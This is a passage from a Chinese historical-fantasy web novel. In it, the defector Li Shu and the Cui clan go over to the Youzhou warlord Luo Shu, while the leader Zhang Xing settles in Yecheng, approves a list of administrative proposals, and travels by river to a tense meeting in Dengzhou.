“二十七郎误会了,咱们不是怕了谁。”出乎意料,主动解释的竟然是最后一人,也就是被悬赏的黜龙帮叛徒李枢,只见其人一开口便言笑晏晏,俨然风度犹存。“只是担心暴露了行踪……” “暴露行踪不也是怕帮里的追捕吗?”崔二十七郎依旧不解。 “真不是怕这个。”李枢笑道。“如我只被悬赏了几十两银子,便可见人家根本懒得理会我们,只是想羞辱一下我罢了。唯独咱们往哪里去,便是要在哪里汇集力量做事情的,轻易暴露出来就显得可笑了……崔公在河北名头极大,咱们稍微躲一躲最好。” 崔二十七郎这才半懂不懂的颔首。 “可笑薛常雄,好大的名头,却只是坐以待毙。”听到这里,嘴上已经发黑的崔四郎终于也忍不住埋怨起来,不过看他那样子,却更像是为了转移注意力不去理会手里鱼肉味道多一些。 “这件事帮里之前反而说的通透。”李枢捧着烤鱼微微眯眼道。“三征之后,这薛常雄带着河北行军总管的名号,加上薛氏的出身,宗师的修为,国公的地位,还有河间大营的兵力,有名有实有势有时,却居然不能在两年内整合河北的大魏势力……当日不是他渡河南下,反而帮里渡河北上,他就已经输了。” “莫说渡河南下了,他连窦立德那些人都按不死。”崔二十七郎也忍不住吐槽。“但凡能把高鸡泊剿灭了,那曹善成跟我们崔氏不就倒向他了,曹善成跟崔氏倒向他了,清河便是他在河北南头的根基,到时候渤海、武安皆不能自立,他不就能把河北压服个七七八八了?压服个七七八八,然后进了邺城,收了李定,降了罗术,冯无佚回来也只会服从他,根本就是天下一等一的大势力!北上南下都随他!可是他连高鸡泊都不能清理,反而让窦立德那些人等到了黜龙帮,这才让黜龙帮有了清河、渤海的局面……也是他活该落到现在等死的局面。” “窦立德哪里是那么好按的。”火光映照之下,李枢若有所思。“当时河北这里受三征之苦极甚,张金秤、高士通、孙宣致,还有现在还在上谷厮混的二高,包括现在出挑的韩二郎、刘黑榥,一个连一个,都算是河北义军出身,而窦立德是其中最有韧劲的,这也是张行当日渡河的底气了……但不管如何,薛常雄不能整合大魏官方势力,便是他无能。” “联姻、驻军、自设官职……”崔四郎想了想,还是觉得疑惑。“他自家明明用河间大营的名义表奏设置了许多武官,收拢了许多河北豪强与修行高手,却为什么连往各郡驻军都不做?自家带了六七八个正当年儿子过来,也不与河北世族联姻?叔祖,他有跟我们联系过婚姻吗?” “没有。”认真吃鱼的崔傥终于开口,而即便是宗师,嘴角和胡子也不免被涂黑。 “连黜龙帮的程大郎都知道第一时间跟我们攀亲戚,便是张三……张三虽敌视我们家,还专门打压了程大郎,可也晓得用我们,给了两个头领位置,这薛常雄到底怎么想的?”崔四郎原本只是转移注意力随口开的话题,但此时却越想越觉得荒唐。 “老夫倒是晓得他的一二心思。”崔傥放下鱼来冷笑一声。“还不是他觉得自家是关陇大族,就没把河北当成根本之地?便是联姻,也要他们薛氏几个儿子娶白氏、窦氏、司马氏的才像话,至不济也要跟荥阳郑氏、河东张氏这些更近的大族联姻,跟我们崔氏联姻有什么用处?” 众人各自一愣,反应不一。 无他,这话听起来荒唐,但似乎又合情合理……人家薛常雄从生下来就是关陇名门嫡传,一直到四五年前还一直跟着这个**集团进步,一起见证了关陇集团达到最盛的辉煌,有这种关陇本位的想法不是很合理吗? 难道只有他一个人如此? 想到这里,便是李枢都只好低头去看篝火。 “你们都说,他是没想过做君,总不能脱离臣子范畴,所以才被张三跟白横秋给甩开。”崔傥继续冷笑。“有没有可能,这厮就是看不上河北,就是觉得自家根本在关西,若是留在关西,早就称帝称王了呢?” 李枢等人依旧默不作声,只是盯着篝火来看。 “照这般说,咱们再去罗术那里,就不至于像在薛常雄这边被人束之高阁、只闻不问了?”过了一阵子,依然还是崔二十七郎打破的沉默。 “罗术应该会务实一些。”李枢勉力含笑安慰。 “也难。”崔四郎叹了口气。“眼下局势,想要在河北有些作为,前提是罗术跟薛常雄合流,便是罗术务实一些、积极一些,可一个巴掌拍不响,薛常雄这个样子,又如何能让他们合流呢?” “防守还是可行的。”李枢正色道。“张行便是再拖延,半载之内也必然来攻薛常雄,薛常雄虽然无力主动出击,可据城而守支撑一段时日应该还是可行的,到时候只要催动罗术及时出幽州突骑内外夹击,便足以翻转局势。” “然后呢?”崔傥终于也蹙眉来问。“便是守住一时,可黜龙帮一退,罗术真要务实反而要尝试兼并薛常雄吧?而黜龙帮如此势大,再回转过来又如何?一来二去,两家再无信任,黜龙帮自然可以从容吞并了。” “太难了。”崔四郎也颔首不断。“黜龙帮大势已成……年初那一战便是白横秋看到了黜龙帮成龙之势,哪怕是去关西之前也要来试着捅一刀,却终究被黜龙帮熬过去了,自然难制。” “可以建议罗术与薛常雄结盟,最好是放下身段名义上居于薛常雄之下,然后让他往南以薛常雄为御张行之盾,再往北攻略北地,等北地八公七卫在手,自然可以转身南下。”李枢似乎早有想法。“而促成幽州-河间联盟,包括攻略北地,就是我们建功立业的时候了。” “北地……也不是不行。”崔四郎愣了一下,然后看向自家叔祖。 “竟似乎只有这个法子了。”崔傥想了许久,竟也颔首认可了。“黜龙帮势大,偏偏咱们总要回清河的……况且,此时不指望河北本土势力,难道还要指望关陇人?自白横秋到薛常雄,我也看明白了,竟未曾有一人愿意视我们为同列!” 很显然,这位是还记着白横秋卖了崔氏的事情呢。 当日怎么就觉得白横秋能一击就推倒了黜龙帮呢? 另一边,崔二十七郎本想点头附和,却忽然想到,身侧的李枢似乎也是关陇世族出身,也不知道人家是怎么想的,自家叔祖这般言语似乎又有些试探之意,也是赶紧佯作不知,低头啃鱼。 倒是李枢,此时不由捧着鱼来笑:“张三外宽内忌,独霸黜龙帮而驭河南河北,我们不得已流落,但天下如此之大,总有一线生机,何况我们尽知黜龙帮虚实,而崔公又负河北之望、逞宗师之强,算是有所倚仗,外面更有许多家诸侯可做投靠……眼下局面比我当年流落东夷要好得多……诸位不知道,我刚刚入这狐狸淀时便察觉,此地与落龙滩东侧戈壁中的沼泽极为类似,而当日杨慎事败,我孤身流落其中,见不到半分前途,而且前无城镇后五倚仗,身侧也没个同列,竟然存了投河而亡的心思,只是硬撑下来而已,哪里像现在,还有诸位同行,也有烤鱼来吃?” 崔四郎笑了笑,崔二十七郎也笑,便 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“自然如此,自然如此。”李枢一声叹气。“只是这罗术比我们想的更务实啊!未免……太务实了些!” 崔二十七郎不提,其余两人自然晓得他意思。 但崔玄臣只能苦笑来劝:“话虽如此,总比在薛常雄那里空耗来的好。” 话音未落,篝火便已经复燃,甚至当空腾起。 李枢见状,不再叹气,只是端坐而候。 须臾片刻,便有一队幽州骑士寻到此处,却不敢上前,等了一会,一名明显是为首之人方才来到这边,看着四个端坐不动的人,丝毫没有停滞,直接朝着最年长的崔傥下拜行礼:“可是清河崔公在前,在下幽州北面都督、安乐郡太守、奋武将军、柳城公侯君束,奉我家主公幽州行营总管、河北道大都督、北地监护使罗公之命,特来相迎。” 坐着的四个人愣在篝火旁,竟然一时不知道该如何答。 半晌,还是崔玄臣反应快,指着身侧李枢起身:“这位……侯将军,非只我叔祖崔公在此,李公也在这里。” 侯君束也是一愣,但旋即醒悟,不由大喜:“李公也在此地吗?那可真是双喜临门,若得崔公、李公,我家主公岂不是虎生双翼便成龙吗?” 李枢这才来笑,便站起身来,要与对方握手言欢。 而也是此时,崔二十七郎看的清楚……几个人刚刚吃鱼吃到大半,匆匆灭了篝火,却是从崔公到李公,嘴角都还黑着呢! 但那又如何呢? 只能跟那什么北面都督一般,装作不知道罢了。 就在李枢、崔傥等人与侯君束在狐狸淀金风玉露一相逢的第二天,张行毫无廉耻的搬入了邺城行宫,并住进了最北面居住区最大的一个院子。 院子在行宫内偏西,前面有个不大不小的堂屋,可以开会议政,两侧有公房可以做文书和防护工作,后面是居所,也有十几个房间与一个小花园,其中西北角连着三层起来,算是一个小楼,尤其是第三层,四面开阔……估计就是这座通风小楼的缘故,整个院子唤作观风院。 对此,张首席连名字都不改,直接拎包入住。 唯一值得一提的是,他以秦宝的大头领尚未得到正式认证为名,却是让秦宝暂时住到了观风院中。 而既入住了观风院,张首席立即就忙碌了起来……不是他要主动生事,而是许多人都来找他做汇报和请示……有的真请示,有的假请示,但张首席之前有言在先的,也不好计较的。 不过,今日今时,这一位来做请示的,肯定是真的。 “你怕新律推行不下去?”后院小花园内,张行若有所思。“是哪些条款下面有谁抵制吗?” “若是这般反而不怕了。”刑律部总管崔二郎崔肃臣表情还算轻松。“因为真要抵制的,肯定是从度田授田与开释人身那些利害相关的地方弄出来事端,而这些地方上上下下全都看着,哪儿能做,能做到哪里大家也都清楚,若是谁强要抵制,别人不说,首席你难道会放过谁吗?” 张行也笑……因为确实如此。 别看他整日嘻嘻哈哈,不是喝酸梅汤就是跟村子里人拉呱,可作为一个合格的键政者外加此间多年的经历,他便是再糊涂又如何不晓得土地和人口的重要性? 别的不说,帮里这些人,济水上游的头领如何装糊涂存了**之前的庄子,济水下游的头领有多少工坊,之前被河北义军抹空的登州如今又有什么人在置业,他都一清二楚。 包括崔肃臣眼下话题背后的真实所指,他其实也清楚。 “我不想现在就对地方官府、吏曹动手。”张行笑了一笑,没有再做遮掩。“不是在做什么**人心的把戏,而是没有准备好。” 崔肃臣登时肃然。 “事情要是总指望着自上而下就能推陈出新,未免自欺欺人。”张行收起笑意,认真解释道。“黜龙帮这个制度行到现在,便是有些新鲜,其实本质上还是一群东齐故地的豪杰精英被我拉扯起来,若说根基深厚,上下一体,其实还差的远……偏偏又是战时,是争天下的时候,我们也没有足够有经验的基层官吏,这个时候若是清理他们、更换他们,反而要出岔子的。” 崔肃臣想了想,认真来问:“所以首席才让张世昭张公这位大魏宰执来做蒙基部的分管,是要文武并行,培养出一些自家的年轻人来以缓缓代之?” “是。”张行点头道。“不过,这个职务是张公自家要的,他看的清楚,知道这是真正立新的源头。” 崔肃臣不由叹了口气:“几年前刚刚取济水的时候、进河北的时候,连制度都没有,州郡都来不及攻略,首席便坚持这件事情,后来连年大战,几乎喘不过气来,首席也还是坚持……大家虽然碍于首席的权威不好公开反对,但实际上却是人人都不以为然,即便是现在,也只有些许人慢慢意识到这个的好处。” “说好处还有些晚,估计还要两三年,就能慢慢的显露出来了。”张行继续言道。“不过,若是说担忧《黜龙律》不能被广泛接受,倒也不必计较在地方官府和吏员上,我有个主意……” “请首席赐教。”崔肃臣立即打起精神。 “你下去乡亭里亲自审案子如何?”张行笑道。 “我……我审什么案子?”崔肃臣明显茫然。 “是这样的。”张行解释道。“你带着刑律部的几十个优秀吏员、文书,下到邺城周边的乡里,利用秋后农闲的功夫去审案子……” 这话说清楚了,但崔肃臣还是懵:“我一人,便是带着几十个吏员,又能审几个案子?而且下面百姓看到是我这种官,怕是都不敢寻我告的。” “若是乡野之人不敢寻你们告状,你就专门去郡县中找积存的案子,找能体现出来新律善政的案子,或者找已经宣判,但可以按照新律改正的案子,然后跑到案发的乡亭中把人叫去做判……” 张行如是解释道。 “也不用担心一人无力,其实这个法子的妙处就在这里……你亲自领着人走完一个县,十几个乡,一个乡挑一个案子就行,做完就回来,然后就从跟着你的吏员选出来七八个表现优秀的,让他们带头,再往魏郡各县挑郡县中低阶吏员组队,继续下乡亭中继续做这个巡审!” 崔肃臣眼睛明显一亮:“好主意!若是这般,等魏郡的做完了,估计还没到冬日,还可以从魏郡这些本地随从巡审的吏员中挑出好的,知道我们是要推新律的,归到刑律部中,然后再让他们也带头,去整个行台,乃至于河北、河南各处做巡审。” “不必这么着急。”张行笑道。“一冬天巡完两个行台就足够了,明年春后再去河南……而且,也不必让这些地方吏员归到刑律部,不然怕是养不起的,只挑优秀的晋升就好,其余人做个履历和记录,日后方便晋升也足了,只是巡审过程本身一定要保证待遇跟安全,可以发些钱粮布帛……至于说安全,虽说巴不得有不开眼的地方上闹出来,我们好动手立威,但还是要以维护好自家人为先。” “首席这般思虑妥当,若不去做一做反而不安。”崔肃臣站起身来,直接行礼告退。“如此,我去寻陈总管做计划,尽快施行。” 张行点头,也不相送的。 倒是秦宝在侧,忍不住来问:“三哥刚刚说从不指望自上而下便能推陈出新,但没有准备好更换地方官吏……所以有了蒙基部?” “是。” “那以退役军士为基层乡亭小吏,难道不也是自下而上的填充吗?” “当然也是。” “为什么不告诉崔总管呢?”秦宝略显诧异。 “为何要告诉他?”张行回头来看对方。“蒙基部的事情是他自己想到的,我也承认了,又没有刻意隐瞒什么……” 秦宝犹豫了一下:“不该待人以诚吗?” 张行缓缓摇头:“或许可以,但没必要……尤其是现在,论局势,黜龙帮已经成了气候;论制度更新,差两三年就能见效……事情还是稳着点好。” 秦宝点点头:“我晓得,三哥如今怕**。” 张行犹豫了一下,继续来言:“其实这个不算什么……此去登州,才是要小心的。” 秦宝反而冷笑:“登州有谁,不就是程大郎吗?便是程大郎反了,我若不能将三哥背出来,也便白活了。” 张行点点头,到底还是交了底:“我们先去,几营兵马押后,雄天王、十三金刚都会随行。” 秦宝终于皱眉:“程大郎真要反?” “以他的为人,十之**不会。”张行坦诚以告。“问题是落龙滩,这次无论如何得回去走一趟……不免心里发怵。” 秦宝终于恍然,却又恍惚起来,俨然是想起当日二人初见时的情形。 兄弟二人正在枯坐,忽然外面一阵喧哗,各自打起精神,然后立即就有人来汇报——谢鸣鹤谢总管回来了,而且带着煊赫了数百年的江东谢氏的主枝嫡脉四十余人俱至,已经到了城外。 PS:赵子曰开新书了,隋唐……瓦岗流…… (本章完) 第四十二章归来行(8) 谢鸣鹤的回归极大的震动了邺城与黜龙帮上下。 原因很简单,首先,江东谢氏的名号太大了……张行自号黜龙,本意是要尽量减少人身依附和阶级差异,但能把这个当做终极理想和目标,本身就说明这个时代人跟人的等级差异是沁入到骨髓的。 而这种差异,在核心表现上自然是**集团垄断一切利益,但在民间的视角里,更直观的表现却是这些世家大族的“高级性”。 崔傥为什么反? 理论上黜龙帮跟他们没有直接的利益冲突,但是经历了几朝的崔傥却敏锐的嗅出了许多让他不安的气息……比如说,即便是清河崔氏在大魏一朝被打压到极致,可跟关陇贵种联姻依然是可行的,嫁女儿嫁到东都西都依然常见,可程大郎娶了一个崔氏女,却反而遭到了张行警惕和打压,这算什么? 再比如说,黜龙帮进取清河,不是把崔氏做拉拢的对象,而是做假设敌对的对象,这又算什么? 还有,你既要拿河北做根基,就不说什么豪强盗贼满堂坐了,房氏这种清河本地的二流世族都挤进去四五个大小头领,要领兵有领兵的,要管理地方管理地方,崔氏为何反而不如房氏? 世族世族,尤其是这种文修世族,根基便是礼法、家学、婚姻、宦途……如今这世道往下滑了几百年,礼法什么的莫说这些世族了,全天下都无;家学则是自家事,你爱修宗师修宗师,爱培养文法吏培养文法吏;剩下的命根子就只是婚姻和宦途,却都被你张行给威胁到了! 所以,人家清河崔氏是真的冤,崔傥反水的责任全在他张行! 你凭什么不把人家当棵葱?! 而回到眼下,谢氏这种地位的世族,而且是江东的顶尖世族,主脉嫡枝扔下盘踞了几百年的江宁,几乎算是举族投奔邺城,都足以证明一些东西。 其次,谢鸣鹤本人请假之前,李枢都还没跑,更不要说后来的行宫事件了,甚至他当日走时,正是人心有些荒疏的时候……当时就有流言说,谢鸣鹤请假南下怕是要一去不回……结果人家非但没有一走了之,反而带着家眷回来,而且好巧不巧成为了第一个把家眷带入邺城的外地籍贯大头领,那敢问这谢总管算是何等的**觉悟呢?! 正准备回济阴的单通海都懵了。 一个个的,干什么呢这是? 而在陈斌的建议下,所有正在邺城的黜龙帮大小头领却是再度齐出,在张行的带领下往城北出城相迎。 随即,由曹夕出面,将原本邺城行宫大使吕道宾的住宅官卖给谢氏,而无妻无子的谢鸣鹤在晓得行宫之事后也毫不拖泥带水,让自己守寡的婶娘带着两个未成年的侄子侄女入住了其中。 谢鸣鹤既归,委实有锦上添花之态,邺城内外人心也从之前的荒疏变成热烈,张行放下心来,便要东行登州的,只不过,可能正是因为之前气氛便已经鼓动起来,所以不止是一个崔肃臣巡审,许多事情都已经被一件件的顶了上来。 张行既要走,不免要做一个批示。 经过张行、雄伯南、陈斌、徐世英、单通海、李定、窦立德几人的小范围讨论,最后通过的临时举措一共有十二项,分别是: 刑律部总管崔肃臣提出的巡审计划——张首席讨论完毕后,在传达到大行台文书部的文书上,除了正式的同意与签名外甚至还有个附带批示:崔总管专心专意,《黜龙律》必然大兴于世; 蒙基部分管张世昭提出的,给冬日筑基开蒙的少年们统一冬衣计划——张首席批示:官服可以晚一些,这个要放前头,而且要够漂亮; 军务部总管徐世英提出来的……没错,就是徐大郎提出来的,按照这一年的收成,将对应比例的陈米碎渣拿出来酿酒,一方面是为了获利,另一方面也是为了防止民间部分富户拿新粮酿酒的计划——张首席批示:徐大郎文武兼备,非是一般头领器量; 还有文书部总管陈斌,他建议年末时,从现有的地方官员、吏员、中级军官中,以舵主身份为准,提拔出两到三位头领,并形成定例,以激发中层军官和中层地方官吏积极性——张首席批示:陈总管高屋建瓴,能从最高处做事,极其难得; 军械战马部张公慎也提出了,利用这次从禁军中俘虏的工匠,仿照济阴制衣场、将陵大铁坊,将各地的军工坊专业化,譬如将陵那里除了农具家用外只做长短武器,而齐郡那里除了农具家用外只做铁裲裆,登州那边多做皮具,济阴多做布衣,并且在基层集中,却在宏观上分散,最后将具有复杂工艺的高级军工……譬如明光铠、**机、马铠、长槊,集中在邺城周边的一系列举措——张首席批示:此类举措要看具体情形,因时因势而为,而公慎此时提议正得要害,其人如其名,通公晓义,谨慎细密,所以托付军工,岂能以寻常武夫相待; 济阴行台指挥、龙头单通海提出,李枢既去,当安定人心,应该事止于此,继续以房彦朗为行台文书分管领荥阳太守——张首席批示:只要人家乐意,自然没问题; 武安行台指挥、龙头李定提出,他已经注解完毕了一本唤作《易筋经》的书,可以给蒙基部与帮内修行者参详,对奇经求证凝丹的修行者应该大有成效——张首席批示:他还记得此事,难得; 王翼部分管马围提出,在大河设置多处永久性浮桥,甚至建城,在河北、河南设立兵站,以备来年开战方便兵马输送,同时防备凌汛期被分割——张首席批示:可以先建浮桥以防凌汛分割,兵站挑重点慢慢建造,城池不是不行,但可稍缓,薛常雄之案,军事三分,**七分,马分管勤勉是好的,但不必纠结一时,此次可以随行登州,事情交给冯分管来做; 军法总管雄伯南的提案简单些,他认为,虽说如今大略是歇息修养半年,年底再开大会,但头领以下的功勋应该先通知到位,地方上也应该提前做好田产清查,确保届时授田不会出现无田可授的局面——张首席批示:天王思虑周到,赏罚是胜负存亡之根本,切不可轻忽,应该同时加紧准备各类勋章以备年底授勋,并让户部总管邴元正与仓储后勤部总管曹夕商议增加军功恩授的多样性; 卫疫部分管庞金刚与玄道部分管白金刚联合提议,除了往历山收拢帮内兄弟尸骨并例行祭奠外,还应该在河北、河南地界大举收拢无名尸骨,统一集中安葬,并做仪式祭奠——张首席批示:极好建议,可以立即让下面人先做施行,而且应该常态化,不必急于一时,几位金刚先辛苦东行; 仓储后勤部总管曹夕也有建议,乃是提议部分公中商铺在短期内无法出售、出租时,适量开放租给帮中直属工场,如內侍军的丝织场、济阴的制衣场、将陵的农具场等等——张首席批示:可以大胆一试,但一定要账目清晰,公私分明,收放自如; 最后,还有张行本人提出的一条,也就是在邺城行宫养奶牛的计划——张首席也自行批示:或许有大用! 竟然也给过了。 其实,除了这十多条外,短短几日内,其余还有二十几条建议成文,却根本没有通过,其中纷原因繁复杂: 一部分是诸如贾务根自请辞去领兵头领、建议牛达升任龙头、秦宝做大头领这种顺理成章到虚浮的内部人事调整建议,多被张行推到了年底;另一部分则属于是针对薛常雄的计划讨论,窦立德、李定、马围、刘黑榥,包括陈斌,都提出了许多针对性的建议,从军事到外交到间谍到**承诺权限,什么都有……却被张行统一给压住了。 暂时不论。 当然,还有一些不乏离谱的建议,比如新来的文书封常就建议,收纳已经退位的原大魏小皇帝与太后,还有牛河牛督公为头领、大头领什么的……不是不懂他的意思,牛河战力难得,也能安定一些大魏体系出身的人,但还是觉得荒唐。 还有内务部的张金树带来讯息,东都大将郑善叶,他之前被黜龙帮俘虏过,按照合约带领俘虏被释回后第一时间是想投奔白横秋的,结果司马正手段利害,第一时间控制了所有东都军俘虏……而相比较于段威的倚老卖老,屈突达的沉默服从,郑善叶便明显有些不安,如今因为被移动到龙囚关驻扎,居然寻到了张金树,想要投降换个大头领。 连河间都要放到明年处置的张行能答应他就怪了。 比较敏感的建议在于大行台的组织架构上……当日这个事情完全是赶鸭子上架,都来不及讨论的,而到了现在,就有人建议增设一个礼部,或者说是大义部之类的存在,还有人建议增设一个吏部或者人事部的存在,建议设立专门的靖安部的人也有,争议都比较大,也都被张首席推到年尾了。 倒是一直空缺的军情部,大家心知肚明,这可能是张首席留给阎庆阎头领的萝卜坑,接到白总管后,阎庆便可顺理成章出任,或者让张金树转到军情部,阎庆出任内务部……所以,居然没有人提。 事情讨论完毕,张行便发出批示文告给陈斌这个文书部总管,自有陈斌通过大行台再做分派和执行,而张行本人也不再犹豫,通过大行**务部点起了十二营军马,往登州汇集。 十二营兵马则分别是: 王叔勇营、芒金刚营、刘黑榥营、徐师仁营、李子达营、高士通营、王雄诞营、曹晨营、苏靖方营、樊梨花营、樊豹营、贾务根营。 兵马以强将精兵为主,兼顾登州地理,其中颇调度了四五个驻扎位置在登州周边或者与登州有渊源的营头。 军令既发,张行也不等待这些部队汇集,而是带着秦宝、马围、白金刚、庞金刚等人在张金树的护送下先行启程,却是在两日行程后与张金树分离,转而在黎阳上了鲁大月的水营船只,然后挂上那面红底“黜”字大旗,便顺流而下……同时,雄伯南也率领数骑另道而去。 秦宝随着张行这一走,自然是恰好又错开了月娘的入住。不过,莫说张行,便是船上其他人都能看的出来,秦二郎是真的归心似箭——他已经有足足**年没有回登州了。 而这么一说的话,张行从登州那片山中钻出来,也有个**年了。 人都老了。 大河奔涌,船只顺流而下,虽称不上千里登州一日还,却也可以每日轻过十数城镇,上船是中午,傍晚就到临黄(武阳郡),第二日晚间就到四口关(济北郡),第三日就是鹿角关(渤海郡)……沿途摒弃了所有地方上的巡视与召见,行台指挥也没见,历山也没去**,就是每日白天放舟东进,晚间宿在渡口。 时值仲秋,草木颜色不一,河畔芦苇丛早已经发黄,岸边大树却还是青绿居多,不过,对于航行在大河上的人而言,真正构成两岸主色调的,却是收割后一望无际的黄褐色田野与蔚蓝色的天际。 “可惜。”这日再度启程,风和日丽,船头上,张行望着收割后的田野,忽然来了一句莫名其妙的言语。 “什么可惜?”临近家乡,或者说已经算是到家乡的秦宝明显不解。 “你不知道吗?”张行嗤笑一声。“幽州以南,都是可以种双季庄稼的,这两边本来是可以绿油油的……” 秦宝想了一想,看了看周围的田野,缓缓摇头:“我虽是少年才开始务农,但也有七八年辛苦,并没听过什么双季……那应该是江南或者淮南的地界吧?” “一百年前吧。”张行若有所思。“我在靖安台看文档的时候看到的,双季庄稼就出来了,从南方开始出来,立即就往北方漫延,于是不过又数十年而已,就几乎铺陈了整个天下。” “那为什么后来没了?”秦宝不解。 “因为北方的大周马上就塌了,天下大乱了……先乱杀了十几年,相互杀的人头滚滚,等到司马洪、高浑分据东西,一个不得不启用府兵制,另一个要以河北、晋地来养北地、巫族的部落与战团,自然就会察觉到,若是都种两季庄稼,田野耕作接连不断,出兵的时间便大大受限,连冬季演武的地方都没有,于是不约而同重新换回一季庄稼……再加上两季庄稼确实伤地,收成只是稍多几成;人口因为战乱减少,相比较耕地利用,更多是人力要紧,也就执行到了如今。”张行娓娓道来。 很显然,来到这个世界**年了,有些事情早就了然于心,以至于轮到他跟土著人物做历史介绍了。 秦宝点了点头:“这倒是合情合理……现在也是这样,打仗、演武、人少地足,确实没必要搞这个……不过一旦安定下来,人口涨的也快,到时候就要考量种双季了。” “不错。”张行幽幽道。“全天下安定了,就可以减少常备兵马,只维持少数精锐,然后自然可以用心在农事、商事、工事,还有探索上……不过后几样是需要农事先提供人口才好做的。” 秦宝终于从对家乡的渴望中回过神来,然后若有所思:“我本以为三哥是看田地空闲才有此言,现在怎么听着是从别处感慨过来的?” “我是来到这里,想到了咱们初见,想到了我从前面那山中出来,想到了东夷,想到了三征,想到了曹彻固然是个混账,但无论如何总要灭了东夷的。”张行平静来答,却在话语未尽时便再度看向了大河南岸方向。“天下一统的意义,再怎么高估都不为过。” 秦宝未及点头感慨,便也随之看向了南岸。 闲谈之中,彼处金堤之上,不知何时多了一队骑士……具体来说,是一队少年骑士。 这些骑士骑着各色马匹,穿着五颜六色,装饰奇形怪状,也没有队形,只是呼哨着沿着金堤奔驰,与船只相隔着两三百步的距离平行进发。 而且,少年骑士的数量似乎还在不停增多?还有人在表演马术? “这些人什么来历?”张行也觉得古怪起来。 “自然是登州的少年郎。”秦宝叹了口气。“算算时间就知道了,三征后各路义军**登州,算是第一个被攻灭的总管州,整个登州也沦为白地,那个时候逃到徐州的人极多……现在徐州也算是黜龙帮的地盘,他们自然也就回来了,恰好也长大了,能骑马了。” “原来是刚回登州的本地游侠,也算是有名的本地特产了。”张行恍然之余又继续来问。“他们这是做什么?” “反正应该不是程大郎派来刺杀三哥你的。”秦宝看了看船只桅杆上挂着的大旗,似笑非笑。“如我猜的不错,他们应该是想向张首席展示才艺……一征的时候,我记得有个叫段英的,才十四岁就到了奇经修为,靠着在达官贵人旁纵马挥舞双戟,直接应募从军,还替他父亲挣了个小官,如今却不知道在何处了。” 张行恍然,然后抱着怀看了一会……但他的马术审美能力委实跟不上潮流,只看了一会便觉得意兴阑珊,只一回头看到秦宝看的入神,反而失笑: “二郎,你当年这么大的时候,是不是也是这般形状?” 秦宝连连摇头:“我当年就是看到他们整日这般形状,才辞了程大郎回到村子的。” 张行点点头,复又来问:“这么说,这些人果然是程大郎的手笔?” “程大郎如今管着登州军政,未必是当年的做派了。”秦宝摇头道。“应该是咱们得旗子太显眼了,但也不好说……关键是三哥你的名头已经是甲天下的那份了。” 正说着呢,隔壁船上刚刚凝丹不久的白金刚忽然腾空过来,落船便问:“首席,马分管让我来问,以防万一,马上到蒲台,咱们要不要先在北岸登陆,在北岸准备妥当,等到渤海平原的几个营到了,再去南岸?” “不至于此。”张行摆手拒绝。“还是按照原计划,从蒲台那边直接上岸往南去登州。” 白金刚没有继续坚持,而是跃回了自己的船只。 秦宝眼见如此,终于面色古怪起来:“我怎么觉得不止是三哥怕**,其余人也都担心三哥在登州出事?程大郎就这般不值得信任?还是你们有什么情报?” “我是信得过程大郎的。”张行无奈解释道。“但问题在于,一则,他们既请了我入住行宫,自然便开始担心我性命了,就像你说的,我自己也怕**,一个意思;二则,李枢既走了,如今程大郎这里怕是就成漏勺了……便是信得过,也是他破绽最多。” 秦宝这才醒悟。 船上插曲没有结束……原因很简单,就像秦宝猜的一样,这些刚刚回到登州的年轻游侠们就是来做才艺展示的,就好像十几年前的那个投军的段英,也好像**年前跟着靖安台走了的秦宝一样,这似乎是他们的传统。 而张行一行人于中午在蒲台地区的南岸登陆后,也没有驱赶这些年轻游侠,甚至还让秦宝出面与这些人做了些交流,这使得他们更加振奋,人数也越来越多,以至于马围、白金刚等人多次提醒张首席注意安全——最终,这种焦虑与欢快热闹并存的气氛,随着仓促得到消息的程大郎率领百骑于道中仓促相会达到了某种高潮。 “首席。” 程知理何等精细人物,如何不晓得李枢的逃亡外加邺城的种种动静,又如何不晓得眼下这个场面有些超出控制,却是远远便在路旁翻身下马,恭敬大拜。“听闻首席入了邺城,我在登州不胜欣喜!” 张行见状也翻身下了黄骠马,远远来笑:“是该欢喜,邺城行宫里也与你留了住处……赶紧起来吧,咱们黜龙帮里,哪有大头领给其他人下拜的道理?” 程知理晓得张行做派,赶紧起身,接着来笑:“首席说的是,也是我知道首席到来,心里高兴。” 马围没有吭声,白金刚便有些皱眉……前者还是纠结于之前被司马正骗过之事,想要找回自己价值,后者则是天然看不惯程大郎这种做派。 而张行点点头,故意装作没有察觉到两位头领的不满,只和程大郎一起看向了身侧的秦宝。 这是三人第一次相聚,但两两之间却都已经相识许久,实际上,张行便是从秦宝口中知晓的程大郎,这才有了当年专程寻人的经历。 然而,两人看向秦宝后,却惊讶的发现,多年后归乡还见到了故人的秦宝丝毫没有理会二人,只是骑在斑点瘤子兽上眯起眼睛,盯住了程大郎身后的骑士队伍……具体来说是其中几人。 “正要与首席做交代呢。”程大郎反应快,赶紧介绍。“首席以登州空虚让我来做戍卫,让我起四个戍卫营……虽是戍卫,却也不敢怠慢,一心想着招募些强兵强将,这几位都是昔日我在登州便结识的豪杰,当初登州刚乱的时候逃到了它处,如今回来,便被我扯住了。” 张行顺着对方介绍瞥了眼对方身后的近百骑,心中毫无波澜,他如何不晓得程大郎这厮是想着他那营如今归到周行范手里的骑兵呢? 明明是戍卫营,也要再弄个几百骑,还要有修为的高手。 正想着呢,程大郎便招手:“老郑,来见见首席。” 张行也便也收起多余心思,堆上笑脸,在众人簇拥下来看向那几名骑士。 然而,被点到名的那名骑士居然畏缩不前。 张行愣了一下,回头看了下扶着马侧挂锏的秦宝,再回头来看那几名骑士,心中依然毫无波澜,只是觉得无语……另一边,程大郎回头看了眼自己专门抬举的昔日登州游侠头目,如今刚刚招募的骑兵近卫,心中却是一凉。 场面则一时莫名僵住了。 连更外围的那些少年骑士们都察觉到了某种气氛的不对劲。 秦宝终于冷笑,却直接抬锏:“郑二,你如今既是帮内军官,来见首席却畏畏缩缩是个什么意思?” 那郑二郎还是僵在那里。 这下子,马围与白金刚、胖金刚也各自怒目起来,马围更是抬手要说什么。 程大郎晓得出了事情,却是毫不犹豫,直接折身入阵,然后只是一伸手便亲自将此人从马上拽下。 就在张行抵达登州,然后立即逼的程大郎这位心腹大头领陷入到疑虑状态之时,幽州一地,刚刚抵达幽州城的李枢、崔傥等人却与幽州主人罗术显得宾主尽欢……中午刚过,双方便宴饮妥当,转而上了茶水。 而稍作犹豫,随着罗术眨了下眼睛,坐在大堂右手下方第二的幽州右都督白显规忽然开口向对面之人发问:“李公与那张行一起创业,能否教教我们这些幽州军汉,那张首席到底是何等人物?又该如何应对?” 